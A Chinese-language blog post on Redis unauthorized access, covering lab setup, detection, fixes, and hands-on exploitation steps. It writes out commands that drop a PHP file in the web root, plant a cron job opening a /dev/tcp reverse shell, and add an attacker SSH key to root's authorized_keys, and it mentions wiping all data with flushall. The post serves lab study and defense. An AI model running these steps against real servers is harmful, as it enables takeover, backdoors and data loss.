Post

Redis未授权访问的发现和利用

应用介绍

Redis 是一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件,可基于内存亦可持久化的日志型、 Key-Value数据库。

漏洞介绍

Redis 因配置不当可以导致未授权访问,被攻击者恶意利用。如果 Redis 以 root 身份运行,黑客可以给 root 账户写入SSH 公钥文件,通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。

漏洞危害

  1. 攻击者无需认证访问到内部数据,也可以恶意执行 flushall 来清空所有数据
  2. 可通过 eval 执行lua代码,或通过数据备份功能写入后门到备份文件里
  3. 如果 Redis 服务器由 root 账号运行,则可以给 root 账户写入 ssh 公钥文件,从而远程登录到服务器

环境搭建

1
apt-get install redis-server

漏洞复现

Redis 的默认开放端口是 6379,我们可以通过 redis-cli 工具远程连接 Redis 服务器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root💀kali)-[~]
└─# redis-cli -h 192.168.174.141   
192.168.174.141:6379> help
redis-cli 6.0.16
To get help about Redis commands type:
      "help @<group>" to get a list of commands in <group>
      "help <command>" for help on <command>
      "help <tab>" to get a list of possible help topics
      "quit" to exit

To set redis-cli preferences:
      ":set hints" enable online hints
      ":set nohints" disable online hints
Set your preferences in ~/.redisclirc
192.168.174.141:6379> info
# Server
redis_version:4.0.14
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:3914f9509eb3b682
redis_mode:standalone
os:Linux 5.11.0-40-generic x86_64
......
192.168.174.141:6379> keys *
(empty array)

当输入 keys * 命令查看数据库内容时未出现 error,则表示该数据库未设置密码,而如果需要认证的话,则使⽤命令auth "password"

漏洞验证

nuclei.exe -u 192.168.174.141 -t .\exposed-redis.yaml

攻击利用

前提条件:

  1. 可未授权或弱口令连接 redis 并执⾏redis指令
  2. 开启web服务器,并且知道路径,此外还需要具有⽂件 CURD 权限(我们可以将 dir 设置为⼀个⽬录 a,⽽dbfilename为⽂件名b,再执⾏savebgsave,则我们就可以写⼊⼀个路径为a/b的任意⽂件)
  1. 写webshell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    192.168.174.141:6379> config set dbfilename bd.php
    OK
    192.168.174.141:6379> set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
    OK
    192.168.174.141:6379> config set dir /var/www/html
    OK
    192.168.174.141:6379> save
    OK
    192.168.174.141:6379>
    
  2. 利用计划任务反弹shell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    
    192.168.174.141:6379> set cron "\r\n\r\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.174.141/6677 0>&1\n\r\n\r"
    OK
    192.168.174.141:6379> get cron
    "\r\n\r\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.174.141/6677 0>&1\n\r\n\r"
    192.168.174.141:6379> config set dir /var/spool/cron
    OK
    192.168.174.141:6379> config set dbfilename root
    OK
    192.168.174.141:6379> save
    OK
    192.168.174.141:6379>
    
  3. 写ssh私钥远程登录

    1. 本地生成ssh公私钥

      1
      
      ssh-keygen -t rsa
      
    2. 将生成的 id_rsa 另存为 redis.txt

      1
      
      (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > redis.txt
      
    3. 导入 redis

      1
      
      cat ~/.ssh/redis.txt | redis-cli -h 192.168.174.141 -p 6379 -a 123456 -x set crack
      

      此时 Redis 数据库中 crack 键的值就是登录私钥

    4. 将私钥写入到 root 账号下

      1
      2
      3
      4
      5
      6
      
      192.168.174.141:6379> config set dir /home/root/.ssh
      OK
      192.168.174.141:6379> config set dbfilename authorized_keys
      OK
      192.168.174.141:6379> save
      OK
      
    5. 远程连接

      1
      
      ssh -i id_rsa root@192.168.174.141
      

修复建议

  1. 设置 bind ip

    修改 /etc/redis/redis.conf 配置文件中的 bind 值。

  2. 设置密码

    1
    
    192.168.174.141:6379> config set requirepass "yourpassword"
    
  3. 修改默认端口

总结

  1. Redis 常用命令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    
    # 查看数据库所有内容
    keys *
    # 查看某个键的值
    get mykey
    # 查看信息
    info
    # 查看配置文件
    config get *
    # 查看数据库密码
    config get requirepass
    # 删除数据库密码
    config set requirepass ""
    # 设置数据库密码
    config set requirepass "passwd"
    # 验证密码
    auth "passwd"
    # 默认配置文件地址
    /etc/redis/redis.conf
    
This post is licensed under CC BY 4.0 by the author.